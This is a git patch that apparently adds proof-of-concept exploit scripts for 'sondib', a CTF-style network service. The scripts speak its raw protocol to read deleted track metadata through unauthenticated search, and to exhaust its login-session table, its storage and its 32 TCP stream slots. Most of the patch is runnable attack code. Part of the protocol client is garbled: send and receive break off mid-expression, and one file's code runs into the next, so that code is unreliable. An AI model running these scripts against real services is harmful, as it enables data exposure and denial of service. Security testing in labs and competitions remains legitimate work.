From f3e3d7140d4bc81718357efb4b2d242ac9c05716 Mon Sep 17 00:00:00 2001 From: yato Date: Sun, 29 Nov 2026 17:26:33 +0300 Subject: [PATCH] Add sondib vulnerability PoCs --- sondib/sploits/README.md | 18 ++++ sondib/sploits/search_metadata_leak.py | 116 ++++++++++++++++++++ sondib/sploits/session_exhaustion.py | 89 ++++++++++++++++ sondib/sploits/sondib_protocol.py | 142 +++++++++++++++++++++++++ sondib/sploits/storage_flood.py | 80 ++++++++++++++ sondib/sploits/stream_slots.py | 54 ++++++++++ 6 files changed, 499 insertions(+) create mode 100644 sondib/sploits/search_metadata_leak.py create mode 100644 sondib/sploits/session_exhaustion.py create mode 100644 sondib/sploits/sondib_protocol.py create mode 100644 sondib/sploits/storage_flood.py create mode 100644 sondib/sploits/stream_slots.py diff --git a/sondib/sploits/README.md b/sondib/sploits/README.md index 8c8970f..8d7d332 100644 --- a/sondib/sploits/README.md +++ b/sondib/sploits/README.md @@ -13,3 +13,21 @@ python3 deleted_track_reuse.py TARGET Exit status `0` means the target is vulnerable, `1` means the deleted track was rejected, and `2` means the PoC could not complete its setup or communication. + +## Remaining sondib PoCs + +`search_metadata_leak.py TARGET` creates and deletes one temporary track, then +uses the raw protocol search path to check whether the deleted row is still +returned. It exits `0` when deleted metadata is exposed. + +`session_exhaustion.py TARGET --count COUNT` performs exactly `COUNT` logins. +Successful logins are persistent records, so the count is mandatory and the +temporary account is intentionally not cleaned up. + +`storage_flood.py TARGET --count COUNT` performs exactly `COUNT` valid small +uploads and reports whether all were accepted. Uploaded tracks are retained +until the normal cleaner removes them. + +`stream_slots.py TARGET [--hold SECONDS]` holds the service's 32 TCP stream +slots for the requested time. The default hold is 65 seconds so the built-in +60-second idle timeout can be observed. diff --git a/sondib/sploits/search_metadata_leak.py b/sondib/sploits/search_metadata_leak.py new file mode 100644 index 0000000..cf5b852 --- /dev/null +++ b/sondib/sploits/search_metadata_leak.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +"""Read private/deleted track metadata through the unauthenticated search path.""" + +from __future__ import annotations + +import re +import secrets +import string +import subprocess +import sys +import tempfile +import time +from pathlib import Path + +from sondib_protocol import ProtocolError, SondibClient + + +SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb" +SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$") + + +def log(message: str) -> None: + print(message, file=sys.stderr, flush=True) + + +def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]: + return subprocess.run( + [str(SDB), args[0], target, *args[1:]], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + timeout=10, + check=False, + ) + + +def random_password() -> str: + alphabet = string.ascii_letters + string.digits + return "pw" + "".join(secrets.choice(alphabet) for _ in range(12)) + + +def search_rows(target: str, query: str) -> list[tuple[int, bytes, str]]: + client = SondibClient(target) + rows: list[tuple[int, bytes, str]] = [] + try: + query_bytes = query.encode() + response = client.request( + b"\x03" + len(query_bytes).to_bytes(2, "little") + query_bytes + ) + while True: + if not response: + raise ProtocolError("empty search response") + kind = response[0] + if kind == 0x10: + break + if kind == 0x12: + raise ProtocolError(f"search returned error {response[1:].hex()}") + if kind != 0x0F or len(response) < 0x14: + raise ProtocolError("malformed search row") + flags = response[1] + sid = response[2:18] + title_length = int.from_bytes(response[0x12:0x14], "little") + end = 0x14 + title_length + if end > len(response): + raise ProtocolError("truncated search title") + title = response[0x14:end].decode(errors="replace") + rows.append((flags, sid, title)) + response = client.receive() + return rows + finally: + client.close() + + +def run(target: str) -> int: + if not SDB.is_file(): + raise RuntimeError(f"sdb client not found: {SDB}") + username = "meta" + secrets.token_hex(5) + password = random_password() + marker = "deleted-meta-" + secrets.token_hex(5) + registered = run_sdb(target, "register", username, password) + if registered.returncode != 0: + raise RuntimeError("temporary user registration failed") + with tempfile.NamedTemporaryFile(prefix="sondib-meta-", suffix=".pcm") as pcm: + pcm.write(b"\0" * 1024) + pcm.flush() + uploaded = run_sdb(target, "upload", username, password, marker, "p", pcm.name) + if SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr) is None: + raise RuntimeError("temporary track upload failed") + sid_match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr) + assert sid_match is not None + sid, key = (part.decode() for part in sid_match.groups()) + run_sdb(target, "delete", username, password, sid, key) + time.sleep(0.2) + rows = search_rows(target, marker) + leaked = [row for row in rows if row[2] == marker and row[0] & 0x02] + if leaked: + flags, leaked_sid, title = leaked[0] + log(f"target={target} deleted_metadata_leaked sid={leaked_sid.hex()} flags=0x{flags:02x}") + print(title) + return 0 + log(f"target={target} deleted_metadata_not_observed") + return 1 + + +def main() -> int: + if len(sys.argv) != 2: + log(f"usage: {sys.argv[0]} TARGET") + return 2 + try: + return run(sys.argv[1]) + except (OSError, ProtocolError, RuntimeError, subprocess.SubprocessError) as exc: + log(f"target={sys.argv[1]} error={exc}") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/sondib/sploits/session_exhaustion.py b/sondib/sploits/session_exhaustion.py new file mode 100644 index 0000000..f997f7c --- /dev/null +++ b/sondib/sploits/session_exhaustion.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python3 +"""Consume the persistent login-session table. + +The attempt count is deliberately mandatory because successful logins are +persisted by sondib and are not removed by the normal connection timeout. +""" + +from __future__ import annotations + +import argparse +import secrets +import string +import sys + +from sondib_protocol import ProtocolError, SondibClient + + +def log(message: str) -> None: + print(message, file=sys.stderr, flush=True) + + +def random_password() -> str: + alphabet = string.ascii_letters + string.digits + return "pw" + "".join(secrets.choice(alphabet) for _ in range(12)) + + +def register(target: str, username: str, password: str) -> None: + client = SondibClient(target) + try: + response = client.request( + bytes((7,)) + + len(username).to_bytes(2, "little") + + username.encode() + + len(password).to_bytes(2, "little") + + password.encode() + ) + if not response or response[0] != 0x11: + raise RuntimeError(f"registration failed: {response.hex()}") + finally: + client.close() + + +def login(target: str, username: str, password: str) -> bool: + client = SondibClient(target) + try: + response = client.request( + bytes((8,)) + + len(username).to_bytes(2, "little") + + username.encode() + + len(password).to_bytes(2, "little") + + password.encode() + ) + return bool(response) and response[0] == 0x11 + finally: + client.close() + + +def run(target: str, count: int) -> int: + if not 1 <= count <= 8192: + raise ValueError("COUNT must be between 1 and 8192") + username = "sess" + secrets.token_hex(5) + password = random_password() + register(target, username, password) + successful = 0 + for _ in range(count): + if not login(target, username, password): + break + successful += 1 + log(f"target={target} successful_logins={successful} requested={count}") + if successful < count: + log("persistent session limit or another login failure was reached") + return 0 + return 1 + + +def main() -> int: + parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT") + parser.add_argument("target", metavar="TARGET") + parser.add_argument("--count", type=int, required=True, metavar="COUNT") + args = parser.parse_args() + try: + return run(args.target, args.count) + except (OSError, ProtocolError, RuntimeError, ValueError) as exc: + log(f"target={args.target} error={exc}") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/sondib/sploits/sondib_protocol.py b/sondib/sploits/sondib_protocol.py new file mode 100644 index 0000000..fb84d03 --- /dev/null +++ b/sondib/sploits/sondib_protocol.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Small raw sondib protocol client used by the local PoCs.""" + +from __future__ import annotations + +import socket +import struct + + +PORT = 7777 +TIMEOUT = 10.0 +MAX_FRAME = 0x100200 + + +class ProtocolError(RuntimeError): + """The target returned a malformed sondib frame.""" + + +def encode_sdz(data: bytes) -> bytes: + """Encode a literal-only SDZ block. + + Literal-only blocks are sufficient for the short control frames used by + these PoCs. The format supports extended literal lengths as well. + """ + + if len(data) > 0x40000: + raise ValueError("control frame is too large") + encoded = bytearray(b"SDZ1") + encoded.extend(len(data).to_bytes(3, "little")) + encoded.append(0) + if len(data) <= 14: + encoded.append(len(data) << 4) + else: + encoded.append(0xF0) + remaining = len(data) - 15 + while remaining >= 0xFF: + encoded.append(0xFF) + remaining -= 0xFF + encoded.append(remaining) + encoded.extend(data) + return bytes(encoded) + + +def _read_exact(sock: socket.socket, size: int) -> bytes: + chunks: list[bytes] = [] + while size: + chunk = sock.recv(size) + if not chunk: + raise ProtocolError("connection closed in a frame") + chunks.append(chunk) + size -= len(chunk) + return b"".join(chunks) + + +def decode_sdz(blob: bytes) -> bytes: + if len(blob) < 8 or blob[:4] != b"SDZ1": + raise ProtocolError("invalid SDZ header") + expected = int.from_bytes(blob[4:7], "little") + pos = 8 + output = bytearray() + while pos < len(blob): + control = blob[pos] + pos += 1 + literal_length = control >> 4 + match_code = control & 0x0F + if literal_length == 0x0F: + literal_length = 15 + while True: + if pos >= len(blob): + raise ProtocolError("truncated literal length") + extra = blob[pos] + pos += 1 + literal_length += extra + if extra != 0xFF: + break + end = pos + literal_length + if end > len(blob): + raise ProtocolError("truncated literal data") + output.extend(blob[pos:end]) + pos = end + if pos == len(blob): + break + if pos + 3 > len(blob): + raise ProtocolError("truncated match descriptor") + distance = int.from_bytes(blob[pos : pos + 3], "little") + pos += 3 + match_length = match_code + 4 + if match_code == 0x0F: + while True: + if pos >= len(blob): + raise ProtocolError("truncated match length") + extra = blob[pos] + pos += 1 + match_length += extra + if extra != 0xFF: + break + if distance == 0 or distance > len(output): + raise ProtocolError("invalid match distance") + for _ in range(match_length): + output.append(output[-distance]) + if len(output) != expected: + raise ProtocolError( + f"decoded length mismatch: expected {expected}, got {len(output)}" + ) + return bytes(output) + + +class SondibClient: + def __init__(self, target: str, timeout: float = TIMEOUT) -> None: + self.sock = socket.create_connection((target, PORT), timeout=timeout) + self.sock.settimeout(timeout) + self.receive() # protocol hello + + def close(self) -> None: + self.sock.close() + + def send(self, payload: bytes) -> None: + encoded = encode_sdz(payload) + self.sock.sendall(struct.pack(" bytes: + size = struct.unpack(" MAX_FRAME: + raise ProtocolError(f"frame exceeds {MAX_FRAME} bytes") + return decode_sdz(_read_exact(self.sock, size)) + + def request(self, payload: bytes) -> bytes: + self.send(payload) + return self.receive() + + +def credentials_frame(opcode: int, username: str, password: str) -> bytes: + name = username.encode() + secret = password.encode() + if not 0 < len(name) <= 15: + raise ValueError("username must be 1..15 bytes") + if not 0 < len(secret) <= 31: + raise ValueError("password must be 1..31 bytes") + return bytes((opcode,)) + struct.pack(" None: + print(message, file=sys.stderr, flush=True) + + +def random_password() -> str: + alphabet = string.ascii_letters + string.digits + return "pw" + "".join(secrets.choice(alphabet) for _ in range(12)) + + +def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]: + return subprocess.run( + [str(SDB), args[0], target, *args[1:]], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + timeout=TIMEOUT, + check=False, + ) + + +def run(target: str, count: int) -> int: + if not 1 <= count <= 65535: + raise ValueError("COUNT must be between 1 and 65535") + if not SDB.is_file(): + raise RuntimeError(f"sdb client not found: {SDB}") + username = "flood" + secrets.token_hex(5) + password = random_password() + registered = run_sdb(target, "register", username, password) + if registered.returncode != 0: + raise RuntimeError("temporary user registration failed") + with tempfile.NamedTemporaryFile(prefix="sondib-flood-", suffix=".pcm") as pcm: + pcm.write(b"\0" * 1024) + pcm.flush() + uploaded = 0 + for index in range(count): + title = f"quota-probe-{index:05d}-{secrets.token_hex(3)}" + result = run_sdb(target, "upload", username, password, title, "p", pcm.name) + if result.returncode != 0: + break + uploaded += 1 + log(f"target={target} uploaded={uploaded} requested={count}") + if uploaded < count: + log("an upload limit or service failure was reached") + return 0 + log("all requested uploads were accepted; no application quota observed") + return 1 + + +def main() -> int: + parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT") + parser.add_argument("target", metavar="TARGET") + parser.add_argument("--count", type=int, required=True, metavar="COUNT") + args = parser.parse_args() + try: + return run(args.target, args.count) + except (OSError, RuntimeError, ValueError, subprocess.SubprocessError) as exc: + log(f"target={args.target} error={exc}") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/sondib/sploits/stream_slots.py b/sondib/sploits/stream_slots.py new file mode 100644 index 0000000..20025e6 --- /dev/null +++ b/sondib/sploits/stream_slots.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +"""Occupy sondib's finite TCP stream table with idle connections.""" + +from __future__ import annotations + +import argparse +import socket +import sys +import time + + +PORT = 7777 +MAX_CONNECTIONS = 32 + + +def log(message: str) -> None: + print(message, file=sys.stderr, flush=True) + + +def run(target: str, hold: int) -> int: + if not 1 <= hold <= 300: + raise ValueError("HOLD must be between 1 and 300 seconds") + sockets: list[socket.socket] = [] + try: + for _ in range(MAX_CONNECTIONS): + sock = socket.create_connection((target, PORT), timeout=5) + sock.settimeout(2) + sock.recv(4) # hello length; leave the rest unread and hold the slot + sockets.append(sock) + log(f"target={target} held={len(sockets)} tcp_streams for={hold}s") + time.sleep(hold) + return 0 + except (OSError, TimeoutError) as exc: + log(f"target={target} held={len(sockets)} error={exc}") + return 1 + finally: + for sock in sockets: + sock.close() + + +def main() -> int: + parser = argparse.ArgumentParser(usage="%(prog)s TARGET [--hold SECONDS]") + parser.add_argument("target", metavar="TARGET") + parser.add_argument("--hold", type=int, default=65, metavar="SECONDS") + args = parser.parse_args() + try: + return run(args.target, args.hold) + except ValueError as exc: + log(f"target={args.target} error={exc}") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main())